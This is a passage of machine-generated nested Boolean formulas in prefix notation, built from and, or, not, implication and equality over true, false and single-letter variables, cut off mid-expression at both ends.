false true ) ) (= false c ) ) (not b ) ) ) ) (= (or (= (or (=> (or true false ) (and true true ) ) (= (and f true ) (or false true ) ) ) (= (=> (= false false ) (not true ) ) (or (not false ) (or false false ) ) ) ) (= (=> (=> (or l false ) (not z ) ) (not (= false false ) ) ) (and (not (and k true ) ) (= (= true false ) (=> true c ) ) ) ) ) (not (not (and (=> (or false true ) (and t true ) ) (or (and k false ) (or true true ) ) ) ) ) ) ) ) (= (not (=> (or (and (or (= y h ) (or e (or false (and (not u ) (or true true ) ) ) ) ) (or (and (and (and false true ) true ) false ) (not (not false ) ) ) ) (=> (or (not (not m ) ) (and (= e e ) (= false k ) ) ) (=> (=> (=> true true ) (= true false ) ) (=> (or false d ) (and b y ) ) ) ) ) (and (and (or (=> true true ) (or (= true false ) (not (=> r p ) ) ) ) (= (=> (not true ) (= true z ) ) (=> (=> false false ) (and false d ) ) ) ) (= (and (and (or q true ) (not v ) ) (not (or true true ) ) ) (not (or (not x ) (=> true false ) ) ) ) ) ) ) (=> (=> (= (and (or (=> (and o false ) (and false x ) ) (= (and b false ) (=> z true ) ) ) (or (and (= true true ) (not i ) ) (not (not true ) ) ) ) (not (not (not (or false false ) ) ) ) ) (not (not (or (= (or true i ) (or false true ) ) (=> (not false ) (and u true ) ) ) ) ) ) (not (= (= (= (not (= l false ) ) (and (= q true ) (or true r ) ) ) (=> (=> (or false true ) (= e true ) ) (and (=> false true ) (not m ) ) ) ) (= (or (and (not false ) (or true true ) ) (not (not m ) ) ) (or (not (and false true ) ) (not (not true ) ) ) ) ) ) ) ) ) ) ) (=> (or (not (or (= (not (or (= (not (=> (= false false ) (=> true i ) ) ) (=> (not (and false false ) ) (and (or b true ) (=> x l ) ) ) ) (= (= (=> (= false r ) (and w i ) ) (or true (or true (not true ) ) ) ) (or (= (not true ) (or false true ) ) (not (or false n ) ) ) ) ) ) (and (= (or (and w true ) (or (and false false ) (or (= (= true w ) (= false m ) ) (=> (=> (and i false ) (not true ) ) (or (= true n ) (not false ) ) ) ) ) ) (not (= (or (= true f ) (=> g e ) ) (not (=> true true ) ) ) ) ) (or (= (and true false ) (= false false ) ) (or (and (or p false ) (or m y ) ) (or (= (not (and false true ) ) (and (= false d ) (or true b ) ) ) (=> (=> (not (and true v ) ) (or (=> true true ) (=> u k ) ) ) (not (or (=> w false ) (or q false ) ) ) ) ) ) ) ) ) (or (= (= (=> (= (= m z ) (and true z ) ) (=> (=> j false ) (and b x ) ) ) (not (and (=> true d ) (not true ) ) ) ) (= (not (= (or false false ) (and m a ) ) ) (=> (=> (= false false ) (not false ) ) (=> (=> b false ) (and false false ) ) ) ) ) (or (not (=> (not (not true ) ) (not (not false ) ) ) ) (or (not (=> (not (and false false ) ) (=> (= false z ) (or g false ) ) ) ) (or (and (not (or true (or false (or (and true true ) (and (not true ) (not e ) ) ) ) ) ) (=> (and (and (or true (or false (or c false ) ) ) (= false true ) ) (= true m ) ) (not (= (=> false e ) (not false ) ) ) ) ) (=> (and (and (= (or false false ) (=> false true ) ) (or (not true ) (and true false ) ) ) (=> (=> (and w n ) (and false false ) ) (=> (= true true ) (not false ) ) ) ) (=> (=> (or (= true true ) (or false false ) ) (not (or false false ) ) ) (=> (=> (or false false ) (and d false ) ) (=> (and i true ) (and j false ) ) ) ) ) ) ) ) ) ) ) (and (= (= (and (= (= (and (= (= false s ) (and d r ) ) (=> (=> false true ) (or false false ) ) ) (=> (not (not v ) ) (= (and false false ) (and false false ) ) ) ) (or (and (and (not (or u true ) ) (= y j ) ) (or true o ) ) (and (and (not false ) (or false i ) ) (or (and v false ) (not false ) ) ) ) ) (=> (or (not (= (= true false ) (=> x d ) ) ) (=> (= (and o h ) (not false ) ) (=> (= false l ) (and c i ) ) ) ) (not (not (= (=> w true ) (=> m true ) ) ) ) ) ) (= (or (=> (not (not (not o ) ) ) (or (= (not true ) (= z s ) ) (and (=> false true ) (=> false n ) ) ) ) (or (=> (not (= q true ) ) (or (= true p ) (=> z false ) ) ) (and (or (not false ) (not o ) ) (=> (= true false ) (or d false ) ) ) ) ) (= (=> (or (= (and true true ) (=> false true ) ) (and (=> true true ) (not true ) ) ) (and (= (or true f ) (=> true a ) ) (=> (= false true ) (=> w b ) ) ) ) (=> (= (=> (not i ) (or false false ) ) (not (not i ) ) ) (=> (=> (or true true ) (=> false false ) ) (or true (or false (= true o ) ) ) ) ) ) ) ) (or (=> (= (or (=> (not o ) (or false false ) ) (or (= (and true false ) (or s l ) ) (=> (= (not h ) (or n m ) ) (not (=> false x ) ) ) ) ) (or (and (or (= a t ) (not true ) ) (=> (and false false ) (= true p ) ) ) (or (not (= false true ) ) (=> (and true i ) (= m b ) ) ) ) ) (= (=> (not (and (and true false ) (= s true ) ) ) (and (or (and false w ) (and true false ) ) (not (not true ) ) ) ) (not (or (not true ) (or (and m true ) (= (= false true ) (= true k ) ) ) ) ) ) ) (= (or (=> (= true true ) (and d false ) ) (or (not (= true true ) ) (or (=> (or (not true ) (=> false false ) ) (=> (and k true ) (and y z ) ) ) (not (not (and (not i ) (or false true ) ) ) ) ) ) ) (or (and (not (not h ) ) (not (not u ) ) ) (or (not (=> true false ) ) (or (and (and (not false ) false ) true ) (=> (not (not (not false ) ) ) (not (not (= g true ) ) ) ) ) ) ) ) ) ) (= (and (or (= (or (= false true ) (and false n ) ) (or (= true false ) (= true false ) ) ) (or (=> (or (not y ) (not false ) ) (=> (or v z ) (=> c true ) ) ) (or (not (= (or h true ) (not y ) ) ) (or (and (and (and d false ) (or false true ) ) (= (and p false ) (or false false ) ) ) (= (or (not (= false false ) ) (or (not (not false ) ) (or (not true ) (or (not u ) (= (=> false false ) (or false true ) ) ) ) ) ) (= (not (or (=> false h ) (not s ) ) ) (or (not (=> true false ) ) (not (= f q ) ) ) ) ) ) ) ) ) (=> (or (and (or (not true ) (not false ) ) (= (=> j true ) (=> false v ) ) ) (or (=> (and (= true true ) (=> false true ) ) (or (= true false ) (not true ) ) ) (or (not (= (not j ) (= true true ) ) ) (not (=> (=> false s ) (or true true ) ) ) ) ) ) (and (=> (not (not (or d true ) ) ) (and (=> (and z true ) (=> i true ) ) (=> (and d true ) (not false ) ) ) ) (not (=> (not (not false ) ) (= (= false true ) (= true o ) ) ) ) ) ) ) (= (=> (not (=> (not (not (or false true ) ) ) (= (and (=> true o ) (= m false ) ) (= (= true false ) (and false true ) ) ) ) ) (and (= (or (= (and q false ) (not n ) ) (and (not true ) (= false true ) ) ) (=> (= (not false ) (= false false ) ) (=> (= h true ) (=> false false ) ) ) ) (not (=> (=> (and false m ) (or true true ) ) (not (= true false ) ) ) ) ) ) (=> (and (or (not (or false true ) ) (or (=> (= y false ) (= false w ) ) (= (and (or j w ) (= true q ) ) (or (not true ) (or l u ) ) ) ) ) (= (= (= (= false true ) (not false ) ) (= (and v k ) (= k true ) ) ) (not (= (not w ) (= true true ) ) ) ) ) (not (or (=> (not (and n n ) ) (and (and (not j ) false ) i ) ) (=> (=> (= g k ) (and m true ) ) (=> (not q ) (or false false ) ) ) ) ) ) ) ) ) ) (not (=> (and (=> (and (and (and (= (or (= (and (=> false d ) (=> true n ) ) (=> (=> false false ) (or false true ) ) ) (=> (= (=> true false ) (or p r ) ) (not (not false ) ) ) ) (not (= (not (= true a ) ) (and (not true ) (= false true ) ) ) ) ) (=> (=> (not s ) (=> false false ) ) (and (and u d ) (= false true ) ) ) ) (= (or false (or false (= e true ) ) ) (and (= false t ) (= true true ) ) ) ) (= (or (= (= v true ) (and m false ) ) (=> (not true ) (=> true s ) ) ) (=> (not (=> true true ) ) (and (not n ) (= false false ) ) ) ) ) (= (not (and (=> (=> (not true ) (and false false ) ) (=> (or true true ) (not false ) ) ) (=> (and (and y t ) (=> p x ) ) (not (not false ) ) ) ) ) (=> (= (and (or (=> false true ) (=> true w ) ) (not (=> false false ) ) ) (and (=> (and false false ) (not q ) ) (= (=> o t ) (or false true ) ) ) ) (or (not (or true y ) ) (or (not (not true ) ) (not (and (or true false ) (or false false ) ) ) ) ) ) ) ) (or (= (= (and (and (and (not true ) (not false ) ) (=> (= false true ) (not m ) ) ) (not (and (and (= true true ) true ) p ) ) ) (not (and (not (not s ) ) (not (or true m ) ) ) ) ) (not (= (or (not (not true ) ) (=> (and true o ) (=> true false ) ) ) (and (and (and (or false true ) (not r ) ) (or t c ) ) (=> r true ) ) ) ) ) (= (or (not (=> (and (and true true ) (= true false ) ) (= (= x false ) (and y true ) ) ) ) (= (=> (not (or false true ) ) (=> (and true true ) (= true true ) ) ) (not (and (or false true ) (= false true ) ) ) ) ) (=> (and (= (not (= false i ) ) (or (=> o true ) (not true ) ) ) (or (and (not n ) (=> false r ) ) (and (not false ) (= false true ) ) ) ) (= (= (or true (or d (=> false u ) ) ) (or (= f true ) (and true false ) ) ) (=> (and (and true true ) (or false true ) ) (= (not false ) (and false a ) ) ) ) ) ) ) ) (or (=> (not (not (not (= (not (=> a q ) ) (= (and y false ) (or false true ) ) ) ) ) ) (or (= (=> (= (and (not false ) (or g false ) ) (or false (or r (=> true false ) ) ) ) (=> (not (or w true ) ) (and (=> false false ) (or k l ) ) ) ) (or (not x ) (or true (or true (or (=> true true ) (or (and q c ) (or (and (= false true ) (= false true ) ) (=> (= false true ) (=> true false ) ) ) ) ) ) ) ) ) (=> (or (and (and (and (and (= (not k ) (and z true ) ) false ) l ) g ) k ) (= (= (not p ) (= true c ) ) (and (and (or true false ) true ) false ) ) ) (or (= (= (and b false ) (or false b ) ) (=> (= t h ) (=> false true ) ) ) (=> (or false (or i (not true ) ) ) (= (or false m ) (or b true ) ) ) ) ) ) ) (not (or (and (=> (or (= (and true g ) (= true false ) ) (and (= false l ) (=> true true ) ) ) (=> (= (or w true ) (= false z ) ) (= (=> true false ) (not true ) ) ) ) (=> (and (or (not true ) (or true p ) ) (=> (and b m ) (not e ) ) ) (= (= (not true ) (= false m ) ) (and (=> s true ) (=> false true ) ) ) ) ) (not (and (or (=> (= true false ) (and true false ) ) (or (=> true false ) (=> false true ) ) ) (= (= (= d false ) (=> true false ) ) (and (= true a ) (=> true s ) ) ) ) ) ) ) ) ) ) ) ) (not (not (not (or (and (or (= (=> (and (=> (or (and false false ) (=> true false ) ) (= (not a ) (= true p ) ) ) (or (=> (= false true ) (or u false ) ) (not (and true true ) ) ) ) (and (= (not (and k true ) ) (= (=> true false ) (=> c true ) ) ) (=> (not (and false true ) ) (not (=> z true ) ) ) ) ) (and (and (and (and (and (not (= true false ) ) (= a false ) ) (= true m ) ) (= (= (not true ) (=> true true ) ) (and (=> true false ) (= false c ) ) ) ) (not (=> (and m false ) (and false false ) ) ) ) (=> (not (not false ) ) (not (and false true ) ) ) ) ) (not (not (= (=> (=> (or true a ) (or true true ) ) (and (not f ) (= h a ) ) ) (or (not false ) (or (=> false false ) (= (and q false ) (and true y ) ) ) ) ) ) ) ) (or (= (not (=> (= (not (not true ) ) (=> (and d false ) (not w ) ) ) (or (=> (and y false ) (or s false ) ) (not (or e true ) ) ) ) ) (or (not (not (=> (=> true false ) (not true ) ) ) ) (or (not (=> (not true ) (or true false ) ) ) (= (= (and true m ) (and false j ) ) (or (and o true ) (=> false true ) ) ) ) ) ) (and (and (or (=> (=> (and false true ) (not p ) ) (= (or false r ) (= false true ) ) ) (and (and (and (and (not (and u false ) ) l ) o ) true ) m ) ) (or (and (not true ) (not true ) ) (or (not (and t l ) ) (or (and (and false n ) (= true e ) ) (or (= j false ) (and g l ) ) ) ) ) ) (=> (and (and (not (and (and (and c n ) true ) true ) ) (or false (or false (not true ) ) ) ) (not (and b true ) ) ) (and (not (and (not n ) (or false true ) ) ) (=> (= (not x ) (= x f ) ) (or (not h ) (not false ) ) ) ) ) ) ) ) (= (or (not (and (and (and (and (and (not (and true false ) ) (= y l ) ) (=> true false ) ) (or (not (not r ) ) (=> (=> false true ) (=> b n ) ) ) ) (=> (or false (or true (and true false ) ) ) (not (not t ) ) ) ) (=> (not (and true false ) ) (not (= r true ) ) ) ) ) (= (not (=> (= (not (=> r o ) ) (or true (or w (not false ) ) ) ) (and (not (and true false ) ) (or k (or false (not false ) ) ) ) ) ) (or (=> (or (= (or e r ) (= b g ) ) (and (or true true ) (not true ) ) ) (and (=> (= o true ) (not false ) ) (not (not t ) ) ) ) (and (and (not (= (or true false ) (not false ) ) ) (not (=> true false ) ) ) (=> (or true s ) (= true true ) ) ) ) ) ) (or (not (or (=> (= (and (= true n ) (= q false ) ) (= (and r false ) (and o true ) ) ) (not (and (not true ) (not false ) ) ) ) (not (or (=> (and false true ) (not false ) ) (and (= true false ) (not s ) ) ) ) ) ) (not (or (=> (or (and (= false true ) (= true i ) ) (not (and w false ) ) ) (or (not (or false q ) ) (not (=> false q ) ) ) ) (= (= (=> (and true true ) (and false false ) ) (or (=> m false ) (=> false true ) ) ) (= (or (not false ) (=> true false ) ) (=> (or true o ) (or v true ) ) ) ) ) ) ) ) ) ) ) ) ) (or (= (not (=> (= (not (and (or (not (or (= (=> (=> false t ) (=> false p ) ) (or (and false w ) (not false ) ) ) (and (and (= true true ) (= d z ) ) (=> (or n true ) (or h true ) ) ) ) ) (or (not (not (or false true ) ) ) (or (and (or true (or b (=> false true ) ) ) (=> (= b z ) (not w ) ) ) (not (or (and (and h false ) (or true true ) ) (= (= m true ) (and false f ) ) ) ) ) ) ) (not (= (not (and (= (= true false ) (and false m ) ) (or (and true w ) (and false true ) ) ) ) (and (= (and (not true ) (= true z ) ) (=> (or z true ) (not false ) ) ) (= (and (and true true ) (=> true h ) ) (or (=> true m ) (not false ) ) ) ) ) ) ) ) (= (or (= (and (and (= (= (not true ) (and w false ) ) (=> (=> y false ) (=> true n ) ) ) (not (or (and k true ) (or n v ) ) ) ) (= (= (and (and (= false false ) true ) false ) (or (not e ) (or x true ) ) ) (and (and (=> (=> true e ) (or false true ) ) (or true s ) ) (or h z ) ) ) ) (and (or (= (= (or false true ) (or u s ) ) (or (and true false ) (=> false w ) ) ) (not (= (=> false true ) (not l ) ) ) ) (=> (= (= (or false false ) (and w false ) ) (=> (or true y ) (not true ) ) ) (=> (=> (and true u ) (and true true ) ) (not (and true true ) ) ) ) ) ) (or (not (and (and (or (= false false ) (and false false ) ) (=> (=> true y ) (or false false ) ) ) (or (=> (or false true ) (=> true k ) ) (not (=> l s ) ) ) ) ) (and (= (not (or (not true ) (= false false ) ) ) (not (or (= j false ) (and k true ) ) ) ) (not (not (not (not f ) ) ) ) ) ) ) (=> (and (and (= (or (not (= (not true ) (not j ) ) ) (=> (not (= true true ) ) (or (= true true ) (and w false ) ) ) ) (or (not (= (not false ) (and true false ) ) ) (and (= (=> z q ) (or false u ) ) (=> (=> true true ) (not w ) ) ) ) ) (=> (=> (= (or x false ) (not false ) ) (= (=> false true ) (or false false ) ) ) (=> (=> (or true q ) (=> false o ) ) (and (and (or true true ) false ) true ) ) ) ) (or (= (or (=> false false ) (= false z ) ) (= (and true r ) (and true true ) ) ) (and (or (=> false e ) (or x false ) ) (or (and true false ) (= true true ) ) ) ) ) (not (=> (not (=> (= (or s false ) (and s false ) ) (= (and m true ) (=> false false ) ) ) ) (and (or (=> y true ) (or (= true true ) (or (not true ) (and m false ) ) ) ) (= (=> (not false ) (and b false ) ) (and (and (= false false ) true ) true ) ) ) ) ) ) ) ) (and (and (not (and (= (and (and (=> (=> (=> false v ) (not true ) ) (and (and (or false s ) true ) true ) ) (= (not false ) (not true ) ) ) (= (and p true ) (and true false ) ) ) (or (= (=> (and false true ) (and f false ) ) (= (not false ) (=> o h ) ) ) (=> (and (or true false ) (=> true false ) ) (or (not false ) (or true n ) ) ) ) ) (or (not (= (= (or b false ) (and true false ) ) (= (= f true ) (or b false ) ) ) ) (= (= (= (and true false ) (or true l ) ) (=> (or true l ) (or false v ) ) ) (or (= (=> a false ) (not true ) ) (= (= o false ) (= w b ) ) ) ) ) ) ) (=> (or (not (=> (and (=> (=> e o ) (and false false ) ) (or (= u o ) (or true true ) ) ) (not (=> (= s true ) (and true false ) ) ) ) ) (and (and (and (and (= (or o x ) (not c ) ) (not (not o ) ) ) (or (and (and (and s false ) false ) false ) (or (and g false ) (=> i q ) ) ) ) (or (and (or v true ) (=> y false ) ) (=> (not j ) (=> false a ) ) ) ) (= (and (=> true true ) (=> true true ) ) (not (and m r ) ) ) ) ) (= (= (or (=> (or (and true k ) (= m k ) ) (or u (or false (and true false ) ) ) ) (or (and (and false true ) (= l false ) ) (= (=> false true ) (or false w ) ) ) ) (not (not (not (= k j ) ) ) ) ) (=> (=> (= (=> (or true true ) (= e d ) ) (not (not false ) ) ) (= (and (and (not true ) true ) b ) (= (and g true ) (or g true ) ) ) ) (= (or (and (=> false false ) (not false ) ) (= (=> a true ) (or r z ) ) ) (=> (= (and false true ) (not false ) ) (= (=> true true ) (not true ) ) ) ) ) ) ) ) (= (or (=> (= (=> (=> (or (not false ) (not false ) ) (not (=> u false ) ) ) (not (or (not c ) (or p false ) ) ) ) (= (= (and (or true true ) (= false true ) ) (not (or true true ) ) ) (=> (not (=> false a ) ) (not (and true false ) ) ) ) ) (= (not (and (= (and true false ) (=> n false ) ) (= (=> false z ) (or false false ) ) ) ) (and (=> (= (=> true s ) (= false true ) ) (not (not false ) ) ) (= (or (= o j ) (or h o ) ) (= (not t ) (or true true ) ) ) ) ) ) (not (=> (not (and (or (not false ) (not true ) ) (or l (or true (not true ) ) ) ) ) (=> (and (= (and true false ) (=> false false ) ) (= (or false t ) (or false t ) ) ) (and (=> (=> false j ) (not true ) ) (=> (and false false ) (or h o ) ) ) ) ) ) ) (= (or (=> (= (not (or (not o ) (and true false ) ) ) (not (or (and false true ) (=> x true ) ) ) ) (not (=> (not (and g false ) ) (or o (or true (= false h ) ) ) ) ) ) (= (or (= (or (=> false h ) (=> false false ) ) (not (= true t ) ) ) (or (and (not false ) (or false false ) ) (=> (not r ) (= true false ) ) ) ) (or (= (= false true ) (and m false ) ) (or (not (not t ) ) (=> (or (=> t true ) (not g ) ) (=> (or h j ) (and false true ) ) ) ) ) ) ) (and (and (and (and (=> (not (not (and (not k ) (= true false ) ) ) ) (=> (=> (and (and (not true ) false ) true ) (or (not true ) (not true ) ) ) (= (or (not p ) (or y u ) ) (= (and false false ) (=> j k ) ) ) ) ) (=> (not (not false ) ) (= (= false false ) (or false false ) ) ) ) (or (= (or true false ) (= false false ) ) (and (and (and true false ) false ) q ) ) ) (= (=> (= false true ) (not false ) ) (and (=> true false ) (not true ) ) ) ) (= (= (=> true s ) (= true true ) ) (= (and s false ) (= true true ) ) ) ) ) ) ) ) ) (not (and (= (or (and (= (not (= (=> (or false (or m (and false true ) ) ) (not (=> o true ) ) ) (or (= (and y false ) (and v true ) ) (not (= false true ) ) ) ) ) (and (= (or (=> (= u o ) (not true ) ) (=> (=> e true ) (not s ) ) ) (or (=> (or h true ) (=> i true ) ) (= (= true true ) (not false ) ) ) ) (not (or (and (not false ) (not false ) ) (or (=> g a ) (and false false ) ) ) ) ) ) (=> (= (and (= (= (= false j ) (or p false ) ) (not (and false false ) ) ) (=> (and (= false true ) (= false false ) ) (=> (=> true m ) (=> true s ) ) ) ) (= (or (not (=> true h ) ) (not (=> j false ) ) ) (=> (= (not true ) (not true ) ) (or false (or true (and o false ) ) ) ) ) ) (=> (= (= (= (or false true ) (not true ) ) (or (= k false ) (= false false ) ) ) (or (not (not false ) ) (=> (= m false ) (=> false m ) ) ) ) (or (=> (and i true ) (and p false ) ) (or (not (or k true ) ) (= (not (and false true ) ) (not (and l true ) ) ) ) ) ) ) ) (=> (or (=> (=> (or (not (not u ) ) (and (or false true ) (or true false ) ) ) (and (and (or true t ) (=> true k ) ) (= (or j true ) (and false false ) ) ) ) (and (not (or (= u p ) (=> false false ) ) ) (= (or (= true true ) (and false a ) ) (= (or x y ) (= h true ) ) ) ) ) (and (=> (not (= (and false y ) (and true false ) ) ) (not (and (or b v ) (not true ) ) ) ) (= (and (= (=> false true ) (= b p ) ) (not (and false false ) ) ) (not (or (and true o ) (not false ) ) ) ) ) ) (= (and (and (not (= (and n y ) (and true a ) ) ) (or (=> (=> true q ) (and true true ) ) (= (or u false ) (not false ) ) ) ) (or (and (=> (=> false true ) (=> false m ) ) (= (not a ) (=> false true ) ) ) (=> (and (and false n ) (=> true true ) ) (or (= z false ) (=> true true ) ) ) ) ) (and (and (and (and (not (or (= (and false p ) (=> false false ) ) (or false (or q (not false ) ) ) ) ) (= (and (and (and s true ) f ) false ) (=> (= false false ) (not b ) ) ) ) (= true false ) ) (= false s ) ) (or (= true c ) (=> false false ) ) ) ) ) ) (=> (=> (= (and (and (or (=> (= (and true true ) (or f false ) ) (=> (=> o false ) (=> d false ) ) ) (or (and (= y false ) (=> false c ) ) (and (=> true f ) (= l true ) ) ) ) (not (and (= d u ) (or l true ) ) ) ) (or (=> (and true true ) (not z ) ) (and (and (=> i true ) false ) true ) ) ) (and (and (and (and (= (or true false ) (not false ) ) (= (=> false true ) (not true ) ) ) (or (not true ) (= true p ) ) ) (=> (= t d ) (= false s ) ) ) (or (= (=> (not t ) (or true d ) ) (and (and (= h false ) true ) true ) ) (= (or (and true true ) (not true ) ) (and (= false p ) (or false j ) ) ) ) ) ) (or (=> (and (and (or (and true false ) (=> e o ) ) (or (not false ) (= true true ) ) ) (=> (and (and false false ) (= h true ) ) (or true (or v (= true a ) ) ) ) ) (=> (not (not (= p false ) ) ) (not (= (= true p ) (not r ) ) ) ) ) (not (or (= (or (= o e ) (= true false ) ) (= (and false true ) (or false false ) ) ) (=> (and (and (not true ) false ) o ) (and (and (=> u false ) false ) true ) ) ) ) ) ) (=> (and (= (=> (=> (= (and false w ) (not false ) ) (or q (or true (=> true t ) ) ) ) (=> (and (and (= u false ) true ) true ) (=> (= true true ) (and true h ) ) ) ) (or (and (not true ) (= true v ) ) (or (=> e true ) (or (not z ) (or (and (and (not false ) true ) true ) (not (or r true ) ) ) ) ) ) ) (or (= (not (=> (or false true ) (=> y true ) ) ) (=> (or true (or true (= true v ) ) ) (and (=> false true ) (not j ) ) ) ) (and (not (=> (not false ) (= false true ) ) ) (=> (or (= true false ) (= true true ) ) (and (and false true ) (or false n ) ) ) ) ) ) (or (not (= (= (not (=> false true ) ) (=> (=> p i ) (=> false o ) ) ) (or (= (not q ) (and false false ) ) (= (not c ) (=> true true ) ) ) ) ) (and (not (= (and (= false e ) (or j true ) ) (not (or false b ) ) ) ) (=> (not (or (= false m ) (and l true ) ) ) (= (or (=> false true ) (and true true ) ) (and (and (= true true ) false ) n ) ) ) ) ) ) ) ) (or (and (=> (not (= (not (or (=> true true ) (or (and true false ) (or (=> true p ) (=> m true ) ) ) ) ) (not (= (= (or k true ) (=> f j ) ) (or (not h ) (= true true ) ) ) ) ) ) (or (= (=> (= (= (=> n false ) (=> j true ) ) (= (=> false true ) (= x false ) ) ) (= (= (not a ) (=> true true ) ) (or (and r false ) (or true z ) ) ) ) (= (=> (or (=> false true ) (=> p false ) ) (= (or true true ) (= n false ) ) ) (and (or (= c true ) (= a true ) ) (or (and false false ) (= false true ) ) ) ) ) (not (not (= (=> (=> true false ) (or b true ) ) (or true (or h (or v false ) ) ) ) ) ) ) ) (not (or (and (and (and (and (and (or (not (= z o ) ) (= (not false ) (=> true u ) ) ) (or (not true ) (or false (or false (= (and true m ) (not p ) ) ) ) ) ) (or true k ) ) (not true ) ) (= (= r true ) (not e ) ) ) (or (= true e ) (or (and false true ) (or (not false ) (= false p ) ) ) ) ) (and (and (and (= (=> (=> true false ) (not true ) ) (not (not false ) ) ) (= (=> (= false false ) (= false true ) ) (=> (and f true ) (or p true ) ) ) ) (or (and (or false q ) (=> f true ) ) (or (= true true ) (or true false ) ) ) ) (not (= (not false ) (= l true ) ) ) ) ) ) ) (not (and (not (or (and (or (= (=> true d ) (not true ) ) (or (= true h ) (=> true false ) ) ) (or (=> (= p o ) (= true true ) ) (and (and true false ) (not m ) ) ) ) (= (=> (=> (=> false false ) (=> true true ) ) (not (and true false ) ) ) (not (=> (=> a false ) (not false ) ) ) ) ) ) (not (and (and (and (and (=> (=> false i ) (or r false ) ) (= (not true ) (and true true ) ) ) (or false (or true (and l z ) ) ) ) (or (and k false ) (and true n ) ) ) (not (= (=> (not true ) (or true f ) ) (and (and k false ) (= false s ) ) ) ) ) ) ) ) ) ) ) ) (=> (and (and (or (= (=> (=> (= (= (not (=> (=> (and false false ) (not b ) ) (= (= false false ) (=> false true ) ) ) ) (not (not (or (= true true ) (not h ) ) ) ) ) (and (not (= (or true (or false (or true m ) ) ) (and (= false false ) (not y ) ) ) ) (= (and (and (and (= (not true ) (and true false ) ) true ) false ) (or i false ) ) (=> (not (not w ) ) (and (and (not true ) true ) false ) ) ) ) ) (or (not (or (= (and (=> false true ) (or false true ) ) (or j (or c (= true false ) ) ) ) (and (= (= false false ) (= true true ) ) (not (not r ) ) ) ) ) (= (or (not (=> (or false true ) (=> true true ) ) ) (= (not (= w true ) ) (=> (=> a v ) (=> true true ) ) ) ) (=> (=> (= (= false true ) (not s ) ) (or true (or y (= f u ) ) ) ) (= (=> (or t a ) (=> true false ) ) (or (= false true ) (=> true false ) ) ) ) ) ) ) (or (= (or (and (= (or (and false u ) (or true s ) ) (not (and true true ) ) ) (not (= (or false p ) (and false false ) ) ) ) (=> (and (and (and (or (not true ) (not false ) ) true ) x ) (or v false ) ) (=> (or (not u ) (or false false ) ) (= (=> u false ) (and false r ) ) ) ) ) (=> (and (=> (or (=> false l ) (or false true ) ) (=> (and false false ) (or false true ) ) ) (=> (not (not true ) ) (and (or a true ) (= true false ) ) ) ) (= (and (=> (=> true true ) (=> false true ) ) (= (=> h false ) (= true a ) ) ) (and (and (not (and c true ) ) (or false true ) ) (= true true ) ) ) ) ) (or (=> (= (=> (=> (not false ) (and q false ) ) (= (=> true true ) (and c z ) ) ) (=> (or (=> d false ) (= true l ) ) (not (not false ) ) ) ) (and (= (=> (or false r ) (and o false ) ) (or (not true ) (not false ) ) ) (= (= (=> n true ) (=> true false ) ) (not (and true c ) ) ) ) ) (not (not (and (= (not y ) (=> false z ) ) (=> (or false false ) (not s ) ) ) ) ) ) ) ) (or (not (= (and (and (=> (= (not true ) (= g true ) ) (or e (or false (and p r ) ) ) ) (or (=> (= y false ) (not true ) ) (not (and false true ) ) ) ) (not (and (=> (or x true ) (=> d n ) ) (= (=> true u ) (=> false g ) ) ) ) ) (and (not (and (and (and (=> false false ) true ) true ) (or false (or f (and s true ) ) ) ) ) (=> (or (not (not false ) ) (not (=> p false ) ) ) (= (or (=> d true ) (and r f ) ) (not (= w u ) ) ) ) ) ) ) (=> (= (not (= (not (=> (not true ) (=> false true ) ) ) (=> (or (= b false ) (or false true ) ) (and (= true false ) (or e true ) ) ) ) ) (or (and (and (not (not (= true true ) ) ) (=> (= true i ) (or true true ) ) ) (or false (or false (and false p ) ) ) ) (not (=> (or (and false q ) (and k true ) ) (and (and l true ) (= false p ) ) ) ) ) ) (=> (or (=> (not (= (=> true i ) (=> true e ) ) ) (not (not (or true true ) ) ) ) (and (not (and (and (= true y ) false ) true ) ) (= (not (and false false ) ) (= (= false l ) (=> false false ) ) ) ) ) (= (or (=> (and (= p false ) (= false true ) ) (and (or true true ) (=> q p ) ) ) (=> (=> (= true t ) (not o ) ) (=> (= y true ) (or false e ) ) ) ) (= (= (not (= false true ) ) (= (= true false ) (or true true ) ) ) (not (or (= false false ) (not f ) ) ) ) ) ) ) ) ) (not (not (=> (= (= (or (= (= (not true ) (and true true ) ) (=> (=> x k ) (or true false ) ) ) (= (= (or true false ) (and false m ) ) (=> (= false y ) (= true f ) ) ) ) (and (or (=> (not false ) (and false true ) ) (= (not false ) (= false true ) ) ) (=> (and (=> f j ) (=> false false ) ) (= (=> g false ) (= false true ) ) ) ) ) (and (=> (= (=> (and false false ) (not x ) ) (and (and false true ) (=> true m ) ) ) (=> (=> (=> false y ) (= a v ) ) (and (and true k ) (not false ) ) ) ) (or (= (=> false true ) (and false y ) ) (or (= true false ) (or true (or true (= (and (not e ) (=> false true ) ) (=> (= y s ) (and false c ) ) ) ) ) ) ) ) ) (and (and (and (= (not (or (= false false ) (or (and true f ) (and (or true true ) (= true true ) ) ) ) ) (or (= (not (=> true s ) ) (or (and false false ) (or false true ) ) ) (= (and (or t false ) (or true false ) ) (or (and true true ) (not false ) ) ) ) ) (= (or (=> d true ) (or l r ) ) (= (not true ) (and true false ) ) ) ) (= (not (and true false ) ) (=> (= false e ) (and n c ) ) ) ) (= (and (=> (and y false ) (and true true ) ) (= (=> true o ) (or false x ) ) ) (or (not false ) (or (not true ) (and (or d false ) (not false ) ) ) ) ) ) ) ) ) ) (=> (=> (not (not (and (and (=> (not (or (not true ) (or false false ) ) ) (and (or false (or false (or false false ) ) ) (=> (or false false ) (not false ) ) ) ) (=> (and (and true false ) (not true ) ) (not (not false ) ) ) ) (= (not (and true true ) ) (not (= true false ) ) ) ) ) ) (= (not (and (not (=> (=> (and false n ) (=> c false ) ) (and (and (=> false w ) false ) true ) ) ) (not (and (and (not (and true true ) ) (= false e ) ) (not true ) ) ) ) ) (and (= (=> (=> (=> (= true true ) (= false t ) ) (and (or u false ) (not i ) ) ) (=> (and (or true true ) (= false true ) ) (=> (not true ) (not false ) ) ) ) (= (and (=> (=> v false ) (or false true ) ) (not (= t false ) ) ) (not (or (=> o i ) (=> b false ) ) ) ) ) (= (= (and (and (or false true ) (not false ) ) (or (= a true ) (and false n ) ) ) (= (or true (or k (not true ) ) ) (= (= false false ) (not false ) ) ) ) (or (= (= (and true true ) (or true false ) ) (not (and false true ) ) ) (or (= (and n false ) (or false true ) ) (or f (or b (or f false ) ) ) ) ) ) ) ) ) (and (and (and (=> (not (not (=> (=> (=> f c ) (or false false ) ) (and (and false y ) (=> false f ) ) ) ) ) 